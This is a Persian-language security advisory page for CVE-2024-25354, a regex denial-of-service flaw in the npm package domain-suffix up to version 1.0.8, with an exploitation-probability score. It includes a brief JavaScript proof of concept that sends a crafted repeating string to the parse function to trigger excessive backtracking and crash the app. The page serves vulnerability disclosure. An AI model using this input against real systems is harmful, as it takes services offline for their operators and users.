همهٔ گزارش‌ها
زیاد

domain-suffix RegEx Denial of Service

متن اصلی

نسخه‌های متأثر

نسخه‌های متأثر
<= 1.0.8
نسخهٔ اصلاح‌شده
اعلام نشده

بهره‌برداری

CVE-2024-25354

احتمال بهره‌برداری در ۳۰ روز آینده: 0.58%

FIRST EPSS · ۱۴۰۵/۰۹/۰۱

شرح آسیب‌پذیری

RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.

PoC

async function exploit() {
   const domainsuffix = require(\"domain-suffix\");
   // Crafting a string that will cause excessive backtracking
   const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
   const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();

پیوندها

گزارش‌دهندگان

  • dsimk